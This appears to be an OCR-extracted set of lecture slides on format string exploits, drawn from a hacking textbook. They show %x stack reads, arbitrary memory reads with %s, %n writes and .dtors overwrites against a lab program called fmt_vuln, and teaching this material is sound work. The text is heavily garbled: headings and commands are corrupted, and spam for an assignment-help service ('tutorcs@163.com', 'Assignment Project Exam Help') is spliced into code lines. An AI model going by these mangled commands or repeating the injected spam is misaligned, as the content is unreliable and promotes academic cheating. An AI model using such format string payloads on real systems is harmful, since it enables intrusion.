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Overview



- Introduction
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- Format string exploit used to gain control of a program
- Format string paramula is to determine the data type of an input

Parameter	Manda de despetant	vitores
%d	Value Decimal	
%u	vAesignment	Project Exam Help
%x	Value Hexadec	imal
%s	Email: tutor	cs@163.com
%n		of bytes written so far
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printf("A is %d and is at %08x. B is %x.\n", A, &A, B);

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FORMAT PARA

• What if you provided the number of parameters?

```
printf("A is %d and is at %08x. B is %x.\n", A, &A);

rather than
printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
```

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Try this at fmt_uncommon2.c

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FORMAT STRING LINE NERABILITY

- Incorrect formatting (e format string vulnerabilities
 - E.g. print(string), rather than print("%s", string)
 - The print function will still display string, but the format function is passed the address of the string, not the address of a format string.

 This could cause the stack pointer to reference a piece of memory in a preceding stack frame. Ssignment Project Exam Help
- Lets run fmt_vuln.c in_the hacking VM (GompArchitecture)

```
$ gcc -o fmt_vuln_fmt_vuln.c
$ sudo chown root:root Q Omt 749389476 chmod u+s ./fmt_vuln
$ ./fmt_vuln testing
$ ./fmt_vuln testing%x
$ ./fmt_vuln $ (perl -ehttps://tutorcs460m)
```

READING FROM TRARY ADDRESSES

• The %s format could addresses.

- read from arbitrary memory
- Part of the original format string can be used to supply an address to the %s format parameter
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- \$./fmt vuln AAAA%08x.%08x.%08x.%08x
 - AAAA indicates that the fourth format parameter is an adjugifform the beginning of the format string. What if the fourth format parameter is %s instead of %x? It will attempt to print the string located at 0x41414141.

```
$ env | grep PATH
$ ./getenvaddr PATH ./fmtovuln49389476
PATH will be at 0xbfff 02: 749389476
$ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s
```

WRITING TO ARDING WEMORY ADDRESSES

- The %s format could read from arbitrary memory addresses. We can war parameter.
 - Lets overwrite the test varieble tutores

- The resulting value depends on the number of bytes written before the %n.
- For example, to write Akonto test_val:/6

```
$ ./fmt_vuln $(printf "\x94\x97\x04\x08") %x%x%8x%n
$ ./fmt_vuln $(printf https://thtores8COM}x%150x%n
```

DIRECT PARAME可能含CESS

- The previous examples represent the previous examples are previous examples.
- To simplify format string exploits, we can use direct parameter access
 - Allows parameters to be accessed directly using the dollar sign qualifier (e.g. %n\$d will access the nth parameter and display it as a decimal number

```
printf("7th: %7$d, 4th: %4855ignment2Project0Exam6Help 80);
will print:
7th: 70, 4th: 00040
```

• Back to fmt_vuln: Email: tutorcs@163.com

.dtors

- Binary programs compile ** SNU compiler use .dtors and .ctors table sections for destructors (the ctors respectively
- The constructor functions are executed before the main() and destructor functions are executed just before the main() exits with an exit system call.
 - We can declare a function as a destructor by defining the destructor attribute
 - Lets see the dtors_sample c Assignment Project Exam Help

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FURTHER REAL

• Hacking: The art of experiment, section 0x350, pg 167-193

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